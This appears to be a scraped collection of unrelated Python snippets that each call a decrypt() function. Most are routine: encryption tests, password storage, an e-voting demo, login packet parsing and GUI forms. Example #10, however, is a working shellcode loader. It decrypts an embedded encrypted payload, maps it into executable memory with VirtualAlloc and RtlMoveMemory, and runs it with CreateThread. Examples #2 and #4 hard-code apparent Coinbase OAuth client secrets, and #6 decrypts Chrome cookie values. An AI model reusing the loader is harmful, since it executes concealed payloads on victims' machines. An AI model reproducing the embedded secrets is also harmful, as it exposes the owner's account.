Пример #1
0
    def test_default(self):
        buf1 = b"yeetus"
        buf2 = b"amdyolo" * 100000

        os.environ["PASSPHRASE"] = "deez nuts"
        enc = combine(encrypt(buf1))
        dec = decrypt(enc)

        self.assertEqual(buf1, combine(dec))

        enc = combine(encrypt(buf2))
        dec = decrypt(enc)

        self.assertEqual(buf2, combine(dec))

        enc = combine(encrypt(buf1))
        os.environ["PASSPHRASE"] = "got em"
        try:
            dec = decrypt(enc)
            self.assertNotEqual(buf1, combine(dec))
        except ValueError:
            pass
        else:
            self.fail("Decryption should have failed with differing passwords.")

        os.environ["PASSPHRASE"] = "deez nuts"
        enc = combine(encrypt(buf2))
        os.environ["PASSPHRASE"] = "got em"
        try:
            dec = decrypt(enc)
            self.assertNotEqual(buf2, combine(dec))
        except ValueError:
            pass
        else:
            self.fail("Decryption should have failed with differing passwords.")
Пример #2
0
def makeCoinbaseAuthString(user):
    expiration = datetime.fromtimestamp(
        user['coinbase_expire_time']).isoformat() + 'Z'
    access = decrypt(KEY, user['coinbase_access_token'])
    refresh = decrypt(KEY, user['coinbase_refresh_token'])
    #print "[", access, refresh, "]"

    credentials = {
        "_module": "oauth2client.client",
        "access_token": access,
        "refresh_token": refresh,
        "token_expiry": expiration,
        #		"token_response": {
        #			"access_token": access,
        #			"token_type": "bearer",
        #			"expires_in": 7200,
        #			"refresh_token": refresh,
        #			"scope": "all"
        #		},
        "invalid": False,
        "token_uri": "https://www.coinbase.com/oauth/token",
        "client_id":
        "73980e1a5f0e2b17a7780129b505e95a6504387962a59364c04649791452cd72",
        "client_secret":
        "2abe2652bd5ccb725c2574592f0cb1b60c6ab2fdc8c0631525b733f21c64dba1",
        #		"revoke_uri": "https://accounts.google.com/o/oauth2/revoke",
        "user_agent": None,
    }
    return json.dumps(credentials)
Пример #3
0
    def test_file(self):
        os.environ["PASSPHRASE"] = "deez nuts"

        buf = b"amdyolo" * 100000

        encrypt(buf, output_file="test.txt")
        dec = decrypt("test.txt")

        self.assertEqual(buf, combine(dec))

        with open("test.txt", "wb") as f:
            f.write(buf)

        encrypt("test.txt", output_file="test2.txt")
        decrypt("test2.txt", output_file="test3.txt")

        with BufferedReader("test3.txt") as br:
            self.assertEqual(buf, combine(br.chunks()))

        with open("text.txt", "wb") as f:
            f.write(buf)

        enc = encrypt("test.txt")
        decrypt(enc, output_file="test2.txt")

        with BufferedReader("test2.txt") as br:
            self.assertEqual(buf, combine(br.chunks()))
Пример #4
0
def makeCoinbaseAuthString(user):
	expiration = datetime.fromtimestamp(user['coinbase_expire_time']).isoformat()+'Z'
	access = decrypt(KEY, user['coinbase_access_token'])
	refresh = decrypt(KEY, user['coinbase_refresh_token'])
	#print "[", access, refresh, "]"
	
	credentials = {
		"_module": "oauth2client.client",
		"access_token": access, 
		"refresh_token": refresh,
		"token_expiry": expiration,
#		"token_response": {
#			"access_token": access, 
#			"token_type": "bearer",
#			"expires_in": 7200,
#			"refresh_token": refresh,
#			"scope": "all"
#		},
		"invalid": False,
		"token_uri": "https://www.coinbase.com/oauth/token", 
		"client_id": "73980e1a5f0e2b17a7780129b505e95a6504387962a59364c04649791452cd72", 
		"client_secret": "2abe2652bd5ccb725c2574592f0cb1b60c6ab2fdc8c0631525b733f21c64dba1", 
#		"revoke_uri": "https://accounts.google.com/o/oauth2/revoke",
		"user_agent": None,
	}
	return json.dumps(credentials)
Пример #5
0
 def __init__(self,config):
     self.server = config['server']
     self.database = config['database']
     self.username = crypt.decrypt(config['username'])
     self.password = crypt.decrypt(config['password'])
     self.steps = config['steps']
     self.dbtype = config['dbtype']
     self.querytype = config['querytype']
     self.testinfo = config['testinfo']
     self.jobid = config['jobid']
Пример #6
0
def make_cookie(cookie_dict):
    h = cookie_dict.get
    expires = h('expires_utc')
    discard = h('discard',False)
    domain = h('host_key')
    value=h('value')
    initial_dot = domain.startswith('.')
    domain_specified=initial_dot
    if expires is not None:
        expires = int(expires/1000000)-11644473600
    else:
        discard = True
    if value is None or value == '':
        pwdhash = h('encrypted_value')
        try:
            value = decrypt(pwdhash).decode()
        except:
            pass

    return Cookie(
        version=h('version', 0),
        domain=domain, domain_specified=domain_specified, domain_initial_dot=initial_dot,
        path=h('path'), path_specified=h('path_spec', True),
        name=h('name'),
        value=value,
        port=h('port'), port_specified=h('port_spec', False),
        expires=expires, discard=discard,
        secure=bool(h('secure')),
        comment=h('comment'), comment_url=h('comment_url'),
        rest={}
    )
Пример #7
0
    def receive(self):
        while True:
            try:
                message = client.recv(1024).decode(FORMAT)

                # if the messages from the server is NAME send the client's name
                if message == 'NAME':
                    client.send(self.name.encode(FORMAT))
                elif message == "Connection successful!":
                    self.textCons.config(state=NORMAL)
                    self.textCons.insert(END, message + "\n\n")

                    self.textCons.config(state=DISABLED)
                    self.textCons.see(END)
                else:
                    # insert messages to text box
                    message = message[(message.index('[') + 1):]
                    message = message[:message.index(']')]
                    message = [i.strip() for i in message.split(',')]
                    message = [i[1:] for i in message]
                    message = [i[:-1] for i in message]
                    message = [int(i) for i in message]
                    message = crypt.decrypt(message, private_key1,
                                            private_key2, p, q, r, s, z)
                    message = ''.join(message)
                    self.textCons.config(state=NORMAL)
                    self.textCons.insert(END, message + "\n\n")

                    self.textCons.config(state=DISABLED)
                    self.textCons.see(END)
            except:
                # an error will be printed on the command line or console if there's an error
                print("An error occured!")
                client.close()
                break
Пример #8
0
   def run(self):
      s = 0
      while True:
         try:
            # receive encrypted message:
            crypt_data = self.aci.receive()
            if crypt_data:
               
               # check if we have seen this message before:
               if not self.mhist.check(crypt_data):
                  continue
               
               # decrypt message:
               raw_msg = crypt.decrypt(crypt_data)
               
               # load msgpack contents:
               try:
                  msg = loads(raw_msg)
               except Exception, e:
                  continue
               
               addr = msg[0]
               # if message is meant for us, forward to application(s):
               if addr in [THIS_SYS_ID, BCAST, BCAST_NOFW]:
                  msg_scl = dumps(msg[1:]) # strip the type and pack again
                  self.scl_socket.send(msg_scl)

               # if the message (a) is not meant for us or (b) is NOFW, re-broadcast:
               if addr not in [THIS_SYS_ID, BCAST_NOFW]:
                  self.aci.send(crypt_data)

         except Exception, e:
            sleep(1)
Пример #9
0
   def run(self):
      s = 0
      while True:
         try:
            # receive encrypted message:
            crypt_data = self.aci.receive()
            if crypt_data:
               
               # check if we have seen this message before:
               if not self.mhist.check(crypt_data):
                  continue
               
               # decrypt message:
               raw_msg = crypt.decrypt(crypt_data)
               
               # load msgpack contents:
               try:
                  msg = loads(raw_msg)
               except Exception, e:
                  continue
               
               addr = msg[0]
               # if message is meant for us, forward to application(s):
               if addr in [THIS_SYS_ID, BCAST, BCAST_NOFW]:
                  msg_scl = dumps(msg[1:]) # strip the type and pack again
                  self.scl_socket.send(msg_scl)

               # if the message (a) is not meant for us or (b) is NOFW, re-broadcast:
               if addr not in [THIS_SYS_ID, BCAST_NOFW]:
                  self.aci.send(crypt_data)

         except Exception, e:
            sleep(1)
Пример #10
0
def run():
    shellcode = "\x2a\xe1\xc7\x37\xb4\x87\x99\xc2\xf9\xc4\x01\xd9\x97\x1b\x12\xf4\x04\xb5\xe4\x3b\x8e\xc3\xeb\x7b\x4e\xe0\x47\xa5\x90\x71\xf3\x51\xa5\x4b\x33\x05\x94\x1d\x2b\xba\x3c\x54\xfd\x65\xd4\x01\xfb\xa8\x52\x09\xb1\x30\x75\xf0\x98\x41\xd2\xc3\x7b\x93\xcb\x13\xe7\xa3\x89\xd8\x1e\xd2\xf8\x5c\xcd\xc4\x77\xb1\x95\x68\xbb\x3f\xd2\x52\xa4\xc5\x1f\x00\xa5\x42\x0d\xe5\x82\x18\x94\xfd\x92\xca\x68\xfe\x5a\x08\xe4\x39\x78\x01\xbe\x92\x33\x09\x5a\x38\x81\x06\x51\x3d\x32\xba\xa6\x9c\x77\x77\xe4\xb0\x0d\x2f\x92\xe2\xf3\x32\x8d\xbe\xcf\x27\x80\xfa\xd6\x19\x54\xe1\xdc\xcf\x29\xde\xb6\x78\x32\x12\xc6\x83\xc9\xb3\xb7\x3d\x34\xfb\xea\x75\x56\xd3\xc3\x7a\x3b\x1d\x80\xd0\x02\xd7\x47\x41\xf1\xbb\xa0\xc6\xf7\x17\x08\x0f\x75\xa6\xf0\xb3\xa7\x1d\xab\x57\xd8\xfe\x2d\x78\xdc\xad\x5e\x5f\xd9\x71\xf5\x4c\xee\x52\x53\x75\xf1\xe8\x3d\xde\x26\x01\x1e\x0c\x79\x9c\x85\x28\x9e\x35\x58\x80\xd4\xd3\xd8\x6d\x14\x37\x72\xe5\x80\xea\xff\x6b\x37\xf5\x38\x87\x66\x19\xd8\x5c\x83\xa7\x7c\x6f\x9a\xc3"

    shellcode = crypt.decrypt(shellcode)
    print "Running shellcode..."
    shellcode = bytearray(shellcode)
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                      ctypes.c_int(len(shellcode)),
                                      ctypes.c_int(0x3000),
                                      ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                 buf,
                                 ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                     ctypes.c_int(0),
                                     ctypes.c_int(ptr),
                                     ctypes.c_int(0),
                                     ctypes.c_int(0),
                                     ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Пример #11
0
    def unpack_00dd(self, body):
        decrypted = decrypt(body, self.qc.md5ps1)

        fmt = '10s 372s 116s 32s 4s 32s 4s'
        decrypted = struct.unpack(fmt, decrypted)
        data.loginData['tkdd'] = decrypted[1], decrypted[2]
        data.loginData['kdd'] = decrypted[3], decrypted[5]
        return 'LoginPacket', '00e5', None, None
Пример #12
0
    def get(self, decrypt=False):
        self.connect()

        self.c.execute('SELECT * FROM passwords')
        row = self.c.fetchone()
        data = []
        while row is not None:
            if decrypt:
                raw_name = crypt.decrypt(row[2], self.key)
                raw_pass = crypt.decrypt(row[3], self.key)
                data.append((row[0], row[1], raw_name, raw_pass, row[4]))
            else:
                data.append((row[0], row[1], row[2], row[3], row[4]))
            row = self.c.fetchone()
        return data

        self.disconnect()
Пример #13
0
 def do_login(self, *args, **kwargs):
  #self.wait_for_availability(url='https://www.google.com/voice', message=_("Unable to connect to Google Voice.  %s will retry until connection is established.") % application.name)
  try:
   logging.debug("Logging into Google Voice.")
   self.gv.login(email=self.config['credentials']['email'], passwd=crypt.decrypt(self.config['credentials']['passwd']))
  except LoginError:
   logging.exception("%s: Google Voice login failure." % self.name)
   return
  return True
Пример #14
0
    def unpack_00e5(self, body):
        decrypted = decrypt(body, data.loginData['kdd'][1])

        fmt = '8s 32s 24s 8s 16s 372s'
        decrypted = struct.unpack(fmt, decrypted[:460])
        data.loginData['ke5'] = decrypted[1]
        self.qc.time = decrypted[3]
        data.loginData['tke5'] = decrypted[5]
        return 'LoginPacket', '0030', None, None
Пример #15
0
def s3info():
    # ipauditor status
    r = redis.Redis(host='redis', port=6379, db=0)
    try:
        json = decrypt(r.get('s3auditor'))
        return json
    except TypeError:
        response = make_response("No Data Populated Yet...", 200)
        return response
Пример #16
0
 def decrypt_element(self, n, widget):
     try:
         self.label_password[n].text = crypt.decrypt(
             self.passwords[n][3], self.u.key)
     except:
         pass
     self.label_password[n].do_cursor_movement(action='cursor_home',
                                               control=False,
                                               alt=False)
Пример #17
0
    def __init__(self):
        # Initialize the whitelist.
        with open("s3_whitelist.json") as f:
            self.whitelist = json.load(f)['Buckets']

        # Get the routing key from config file.
        with open("config.json") as f:
            self.ROUTING_KEY = json.load(f)['routingkey']

        self.cn_redis = redis.Redis(host='redis', port=6379, db=0)
        # keep track of Pager State.
        try:
            self.reported = decrypt(self.cn_redis.get('reported'))
        except:
            self.cn_redis.set('reported', encrypt([]))
            self.reported = decrypt(self.cn_redis.get('reported'))
        # Load Cannonical and S3 Data.
        self.cannonicals = decrypt(self.cn_redis.get('cannonicals'))
        self.s3_data = decrypt(self.cn_redis.get('s3auditor'))
Пример #18
0
def e_voting_simulation():
  
  plain_votes = [0] * CNT_VOTEE
  
  bitlength_cnt_voter = CNT_VOTER.bit_length()

  priv, pub = crypt.generate_keypairs(KEY_SIZE)

  init = 0
  c = crypt.encrypt(pub, init)
  d = crypt.decrypt(priv, pub, c)

  for i in range(CNT_VOTER): # pro voter an random votee plus eine stimme
    r = random.randint(0, CNT_VOTEE - 1)
    plain_votes[r] += 1

    vote = 1 << (r * bitlength_cnt_voter)
    
    e_vote = crypt.encrypt(pub, vote)
    c = crypt.sum(pub, c, e_vote)

  d = crypt.decrypt(priv, pub, c)
  
  print("Ergebnis:")
  
  votes = [0] * CNT_VOTEE
  mask = pow(2, bitlength_cnt_voter) - 1 
  
  for i in range(CNT_VOTEE):
    v = (d >> (i * bitlength_cnt_voter)) & mask
    votes[i] = v

  if not plain_votes == votes:
    print("error: arithmetischer fehler")

  max = 0
  for i in range(CNT_VOTEE):
    print("%s hat %.2f Prozent (Stimmen: %d)"%(VOTEE[i], round(votes[i]/CNT_VOTER*100,2), votes[i]))
    if votes[max] < votes[i]:
      max = i

  print("")
  print("Die meisten Stimmen hat %s"%VOTEE[max])
Пример #19
0
    def get_data(self):
        """Retrieve addon information/data.

        Use this instead of accessing the data property
        directly so encrypted info is automatically decrypted

        Returns:
            Dictionary containing addon data.
        """
        return json.loads(decrypt(self.data))
Пример #20
0
def _prompt_unencrypt_context(request,
                              ctx,
                              callback_url,
                              decode_data=True,
                              decode_render=False):
    """
    Takes care of prompting user for a password and returning an unencrypted
    version of a given context "data" section and "rendered" representation.
    Decoded data is returned as strings. No "unpickling" is performed
    """
    resp = {}
    title = "Context encrypted"
    body = "The context information you are trying to use are encrypted with " \
        "a private key. Please enter such key below to decrypt:"

    if "password" in request.POST:
        # POST already contains "unicode" data!
        pwd = request.POST["password"].encode("ascii", "ignore")
        if salt_context_key(ctx.id, pwd) == ctx.key:
            # Password is OK: decrypt
            if decode_data:
                resp["data"] = crypt.decrypt(base64.b64decode(str(ctx.data)),
                                             pwd)
            if decode_render:
                render = ContextStorage.objects.get(id=ctx.id)
                m = re.search(r"^ENCRYPTED:(.*)$", render.data)
                if m:
                    resp["render"] = crypt.decrypt(
                        base64.b64decode(str(m.group(1))), pwd)
                # Response empty in case of problems
        else:
            # Password is wrong
            resp["httpresp"] = render_password_prompt(
                request, title, body, callback_url,
                {"msg_error": "Wrong password"})
    else:
        # Prompt for password
        resp["httpresp"] = render_password_prompt(request, title, body,
                                                  callback_url)

    return resp
Пример #21
0
def decrypt():
    f = request.files['file']
    passphrase = request.form['passphrase'].encode()
    c = crypt.decrypt(f.read(), passphrase)
    if (c):
        response = make_response(c)
        response.headers.set('Content-Type', 'application/octet-stream')
        response.headers.set('Content-Disposition',
                             'attachment',
                             filename=f.filename)
        return response
    return "Invalid request"
Пример #22
0
    def createWidgets(self):
        """Create children widgets needed by this view"""

        fieldsWidth = 200
        labelsFont = View.labelsFont()
        editsFont = View.editsFont()
        self.setLogo()

        self.hostLabel = QLabel(self)
        self.hostEdit = QLineEdit(self)
        self.sslLabel = QLabel(self)
        self.sslCheck = QCheckBox(self)
        self.hostLabel.setText('FTP Location')
        self.hostLabel.setFont(labelsFont)
        self.hostEdit.setFixedWidth(fieldsWidth)
        self.hostEdit.setFont(editsFont)
        self.sslLabel.setText('SSL')
        self.sslLabel.setFont(labelsFont)

        self.usernameLabel = QLabel(self)
        self.usernameEdit = QLineEdit(self)
        self.usernameLabel.setText('Username')
        self.usernameLabel.setFont(labelsFont)
        self.usernameEdit.setFixedWidth(fieldsWidth)
        self.usernameEdit.setFont(editsFont)

        self.passwdLabel = QLabel(self)
        self.passwdEdit = QLineEdit(self)
        self.passwdLabel.setText('Password')
        self.passwdLabel.setFont(labelsFont)
        self.passwdEdit.setFixedWidth(fieldsWidth)
        self.passwdEdit.setEchoMode(QLineEdit.Password)
        self.passwdEdit.setFont(editsFont)
        self.passwdEdit.returnPressed.connect(self.onLoginClicked)

        self.loginButton = QPushButton(self)
        self.loginButton.setText('Login')
        self.loginButton.setFont(labelsFont)
        self.loginButton.setFixedWidth(fieldsWidth / 2)
        self.loginButton.clicked.connect(self.onLoginClicked)

        # Sets previously stored values into the fields, if any
        settings = get_settings()

        self.hostEdit.setText(settings.value(SettingsKeys['host'], ''))
        self.usernameEdit.setText(settings.value(SettingsKeys['username'], ''))
        self.passwdEdit.setText(
            crypt.decrypt(settings.value(SettingsKeys['passwd'], '')))

        # Unicode to boolean conversion
        ssl = settings.value(SettingsKeys['ssl'], u'true')
        ssl = True if ssl == u'true' else False
        self.sslCheck.setChecked(ssl)
Пример #23
0
def decrypt_file(key, file_path):
    """Takes key and decrypts file."""
    keys = {}
    try:
        key_file = open(file_path, "r")
        decrypted_file = crypt.decrypt(ast.literal_eval(key_file.read()), key)
        keys = ast.literal_eval(decrypted_file)
    except:
        print("> error, file not found")
    finally:
        key_file.close()
    return keys
Пример #24
0
 def unpack_00ba(self, body):
     decrypted = decrypt(body, data.loginData['krand'])
     verify = decrypted[8:16]
     if verify == '00000000':
         data.loginData['tkba'] = decrypted[16:]
         return 'LoginPacket', '00dd', None, None
     else:
         pp = a2b_hex(decrypted[52:700])
         fd = file('../pp.png', 'wb')
         fd.write(pp)
         fd.close()
         return 'LoginPacket', '00ba', 'verify', None
Пример #25
0
    def createWidgets(self):
        """Create children widgets needed by this view"""

        fieldsWidth = 200
        labelsFont = View.labelsFont()
        editsFont = View.editsFont()
        self.setLogo()
        
        self.hostLabel = QLabel(self)
        self.hostEdit = QLineEdit(self)
        self.sslLabel = QLabel(self)
        self.sslCheck = QCheckBox(self)     
        self.hostLabel.setText('FTP Location')
        self.hostLabel.setFont(labelsFont)
        self.hostEdit.setFixedWidth(fieldsWidth)
        self.hostEdit.setFont(editsFont)
        self.sslLabel.setText('SSL')
        self.sslLabel.setFont(labelsFont)
        
        self.usernameLabel = QLabel(self)
        self.usernameEdit = QLineEdit(self)
        self.usernameLabel.setText('Username')
        self.usernameLabel.setFont(labelsFont)
        self.usernameEdit.setFixedWidth(fieldsWidth)
        self.usernameEdit.setFont(editsFont)
        
        self.passwdLabel = QLabel(self)
        self.passwdEdit = QLineEdit(self)
        self.passwdLabel.setText('Password')
        self.passwdLabel.setFont(labelsFont)
        self.passwdEdit.setFixedWidth(fieldsWidth)
        self.passwdEdit.setEchoMode(QLineEdit.Password)
        self.passwdEdit.setFont(editsFont)
        self.passwdEdit.returnPressed.connect(self.onLoginClicked)
        
        self.loginButton = QPushButton(self)
        self.loginButton.setText('Login')
        self.loginButton.setFont(labelsFont)
        self.loginButton.setFixedWidth(fieldsWidth / 2)
        self.loginButton.clicked.connect(self.onLoginClicked)
        
        # Sets previously stored values into the fields, if any
        settings = get_settings()
        
        self.hostEdit.setText(settings.value(SettingsKeys['host'], ''))
        self.usernameEdit.setText(settings.value(SettingsKeys['username'], ''))
        self.passwdEdit.setText(crypt.decrypt(settings.value(SettingsKeys['passwd'], '')))
        
        # Unicode to boolean conversion
        ssl = settings.value(SettingsKeys['ssl'], u'true') 
        ssl = True if ssl == u'true' else False
        self.sslCheck.setChecked(ssl)
Пример #26
0
 def unpack_00ce(self, body):
     decoded = decrypt(body, self.qc.sessionkey)
     if len(decoded) > 138:
         buddyID = int(decoded[0:8], 16)
         for i in xrange(len(decoded)):
             if decoded[i:i + 6] == '4d5347':
                 msg = decoded[i + 80:]
         try:
             msg = a2b_hex(msg).decode('utf8')
             print '好友', buddyID, '对你说:', msg
         except:
             pass
     return 'MsgPacket', '0017', decoded[:32], self.seq
Пример #27
0
def _prompt_unencrypt_context(request, ctx, callback_url, decode_data=True,
                              decode_render=False):
    """
    Takes care of prompting user for a password and returning an unencrypted
    version of a given context "data" section and "rendered" representation.
    Decoded data is returned as strings. No "unpickling" is performed
    """
    resp = {}
    title = "Context encrypted"
    body = "The context information you are trying to use are encrypted with " \
        "a private key. Please enter such key below to decrypt:"

    if "password" in request.POST:
        # POST already contains "unicode" data!
        pwd = request.POST["password"].encode("ascii", "ignore")
        if salt_context_key(ctx.id, pwd) == ctx.key:
            # Password is OK: decrypt
            if decode_data:
                resp["data"] = crypt.decrypt(
                    base64.b64decode(str(ctx.data)), pwd)
            if decode_render:
                render = ContextStorage.objects.get(id=ctx.id)
                m = re.search(r"^ENCRYPTED:(.*)$", render.data)
                if m:
                    resp["render"] = crypt.decrypt(
                        base64.b64decode(str(m.group(1))), pwd)
                # Response empty in case of problems
        else:
            # Password is wrong
            resp["httpresp"] = render_password_prompt(
                request, title, body, callback_url,
                {"msg_error": "Wrong password"}
            )
    else:
        # Prompt for password
        resp["httpresp"] = render_password_prompt(request, title, body,
                                                  callback_url)

    return resp
Пример #28
0
def execution():
    while True:
        print('-=' * 30)
        print('Choose an option:')
        print('\t\t[ 1 ] - Encode\n\t\t[ 2 ] - Decode\n\t\t[ q ] - Exit')
        opcao = str(input('Your option: ')).strip().lower()
        print('-=' * 30)

        if opcao == '1':
            mesg, keyw = crypt.get_data()
            crypt.encrypt(msg=mesg, key=keyw)
        elif opcao == '2':
            mesg, keyw = crypt.get_data()
            crypt.decrypt(mesg, keyw)
        elif opcao == 'q':
            print('Exiting the program.')
            sleep(2)
            break
        else:
            print('Invalid option')
            sleep(2)
            continue
Пример #29
0
    def test_ciphers(self):
        for cipher in ["AES-256-GCM", "CAMELLIA-256-GCM", "AES-256-CBC", "SEED-128-CTR"]:
            buf1 = b"yeetus"
            buf2 = b"amdyolo" * 100000

            os.environ["PASSPHRASE"] = "deez nuts"
            enc = combine(encrypt(buf1, cipher=cipher))
            dec = decrypt(enc, cipher=cipher)

            self.assertEqual(buf1, combine(dec))

            enc = combine(encrypt(buf2, cipher=cipher))
            dec = decrypt(enc, cipher=cipher)

            self.assertEqual(buf2, combine(dec))

            enc = combine(encrypt(buf1, cipher=cipher))
            os.environ["PASSPHRASE"] = "got em"
            try:
                dec = decrypt(enc, cipher=cipher)
                self.assertNotEqual(buf1, combine(dec))
            except ValueError:
                pass
            else:
                self.fail("Decryption should have failed with differing passwords.")

            os.environ["PASSPHRASE"] = "deez nuts"
            enc = combine(encrypt(buf2, cipher=cipher))
            os.environ["PASSPHRASE"] = "got em"
            try:
                dec = decrypt(enc, cipher=cipher)
                self.assertNotEqual(buf2, combine(dec))
            except ValueError:
                pass
            else:
                self.fail("Decryption should have failed with differing passwords.")
Пример #30
0
 def unpack_0091(self, body):
     decrypted = decrypt(body, data.loginData['krand'])
     ok = decrypted[-2:]
     if ok == '00':
         fmt = '2s 8s 8s 16s 116s 2s'
         decrypted = struct.unpack(fmt, decrypted)
         self.qc.time = decrypted[1]
         self.qc.myip = decrypted[2]
         data.loginData['tk91'] = decrypted[4]
         return 'LoginPacket', '00ba', None, None
     else:
         new_ip = struct.unpack('2s 2s 2s 2s',
                                decrypted[len(decrypted) - 8:])
         self.conn.host = self.ip_h2d(new_ip)
         return 'LoginPacket', '0091', None, None
Пример #31
0
def readSetting():
    """
    读取配置文件,配置文件是加密的,所以需要执行解密操作
    """
    ret = {}

    if os.path.exists(configPath):
        f = open(configPath, 'rb')
        c = f.read()
        f.close()
        dStr = crypt.decrypt(c)
        try:
            ret = eval(dStr)
        except:
            ret = {}
    return ret
Пример #32
0
def check_password(usrname: str, passwd: str) -> bool:
    db, cursor = setup()

    cursor.execute(f"SELECT salt FROM Users WHERE username='******';")
    for x in cursor:
        salt = x[0]
    cursor.execute(f"SELECT pepper FROM Users WHERE username='******';")
    for x in cursor:
        pepper = x[0]
    cursor.execute(f"SELECT password FROM Users WHERE username='******';")
    for x in cursor:
        db_passwd = x[0]
    db_passwd = crypt.decrypt(salt, pepper, bytes(db_passwd, "utf-8"))

    close(db, cursor)
    return True if passwd == db_passwd else False
Пример #33
0
def init():
    try:
        geraChaves(
            PORT_UDP)  #gera chaves privadas e publicas com o nome da porta UDP
        signal.signal(signal.SIGINT, signal_handler)
        x = threading.Thread(
            target=initTcpSocket,
            args=())  #thread reponsavel pela porta 80,atende pedidos TCP.
        x.start()  #inicia  thread reponsavel pela porta 80.
        h = parsePeer(HOST)  #parse dos endereços.
        UDPServerSocket = socket.socket(family=socket.AF_INET,
                                        type=socket.SOCK_DGRAM)  #Socket UDP
        UDPServerSocket.bind((h[0], PORT_UDP))  #associa o endereco ao socket
        time.sleep(
            2
        )  #verificar se as portas estão em as duas ligadas e mandar um signal.
        trocarChaves(MY_key)  #trocar as chave simetricas.
        print("Chaves trocadas!")
        #print("My_key->",MY_key)
        i = 1  #numero de threds
        while True:
            (data, addr) = UDPServerSocket.recvfrom(4096)
            #print("ped:",i,"\t",UDPServerSocket.getsockname(),addr)
            i += 1
            #print("ola")
            pacote = tgl.desconverte(data)
            if (pacote.getNumPed() == 0):  #secalhar passar este para 0!!!!!
                crypt.verification(str(pacote.getPort()),
                                   pacote.getSignature(), pacote.getMsg())
                key = crypt.decrypt(pacote.getMsg(), str(PORT_UDP))
                #print("Para enviar para o",pacote.getPort(),"\tKEY:",key)
                key_peer[pacote.getPort()] = key
            else:
                y = threading.Thread(target=receberPedidoAnon,
                                     args=(UDPServerSocket, addr, pacote))
                y.start()

    except Exception as e:
        print(e)
    finally:
        #x.join()
        UDPServerSocket.close()
Пример #34
0
    def loop(self, slug):
        gae_pub = RsaKey.objects.get(name="gae_pub").key
        gp_priv = RsaKey.objects.get(name="gp_priv").key
        gp_privkey = self.makePrivKey(gp_priv)
        gae_pubkey = self.makePubKey(gae_pub)

        gtalk_service = Service.objects.get(name='google')

        enc = crypt.decrypt(slug, gp_privkey)
        #print "DECR %s" % enc
        decrypted = enc.split('!gp!')

        gLogin = decrypted[0]
        gPass = decrypted[1]
        twit = decrypted[2]
        
        self.logger = self.getlogger("%s_%s.txt" % (gLogin, twit))
        self.logger.error("HIIIiiii %s" % gLogin)
        
        self.twitter_status = ''
        self.updated = None
        self.catches = 0

        self.twitter_status = self.getTwitterStatus(twit)
        try:
            self.logger.error( self.twitter_status)
        except:
            pass

        if self.twitter_status != '' and '@' not in self.twitter_status:

            self.updateGtalkStatus(gLogin, gPass)
        else:
            self.updated = True             

        while not self.updated:
            self.logger.error( self.updated)
            time.sleep(2)
        try:
            self.logger.handlers[0].close()
        except:
            pass
Пример #35
0
    def loop(self, slug):
        gae_pub = RsaKey.objects.get(name="gae_pub").key
        gp_priv = RsaKey.objects.get(name="gp_priv").key
        gp_privkey = self.makePrivKey(gp_priv)
        gae_pubkey = self.makePubKey(gae_pub)

        gtalk_service = Service.objects.get(name='google')

        enc = crypt.decrypt(slug, gp_privkey)
        #print "DECR %s" % enc
        decrypted = enc.split('!gp!')

        gLogin = decrypted[0]
        gPass = decrypted[1]
        twit = decrypted[2]

        self.logger = self.getlogger("%s_%s.txt" % (gLogin, twit))
        self.logger.error("HIIIiiii %s" % gLogin)

        self.twitter_status = ''
        self.updated = None
        self.catches = 0

        self.twitter_status = self.getTwitterStatus(twit)
        try:
            self.logger.error(self.twitter_status)
        except:
            pass

        if self.twitter_status != '' and '@' not in self.twitter_status:

            self.updateGtalkStatus(gLogin, gPass)
        else:
            self.updated = True

        while not self.updated:
            self.logger.error(self.updated)
            time.sleep(2)
        try:
            self.logger.handlers[0].close()
        except:
            pass
Пример #36
0
def main():
    print()
    print('to end this program please enter "done"')
    print('encryption - 0 , decryption - 1')
    action = input('Please enter the integer of the action || "done": ')
    
    if(action == '0'):
        str0 = input('word/phrase: ')
        print('data:',crypt.encrypt(str0))
        main()
        
    elif(action == '1'):
        str1 = int(input('key: '))
        str12 = input('text: ')
        ans = {str1: str12}
        print('decrypted text:',crypt.decrypt(ans))
        main()
        
    elif(action == 'done'):
        print('Alright Bye Bye.')
Пример #37
0
    def request_salt(self):
        """
        Requests salt from the hiddil server to use in all future transactions, stores it in class
        """
        # Issue JSON request
        response = requests.get(
            self.server_url + "salt",
            json={"pubkey": self.private_key.export_public_str()})

        # Pull JSON from request response
        json = response.json()

        # Check if response was good (HTTP 200)
        if response:

            # Pull public key ID from json
            self.pubkey_id = json.get('pubkey_id')

            # Pull encrypted salt from json and decrypt it
            self.salt = crypt.decrypt(json.get('encrypt_salt'),
                                      self.private_key)
Пример #38
0
def secrets(secret_url):
    """
	Using 'key' in GET request to
	decrypt secret with AES 256 algorithm

	Then, delete secret from the database
	"""
    s = database.find_one({"url": secret_url})
    if s:
        key = request.args.get('key')

        try:
            decrypted_s = crypt.decrypt(s, key)
        except ValueError:
            return 'Wrong password!'

        database.delete_one(s)

        return decrypted_s
    else:
        return 'Not Found', 404
Пример #39
0
def run():
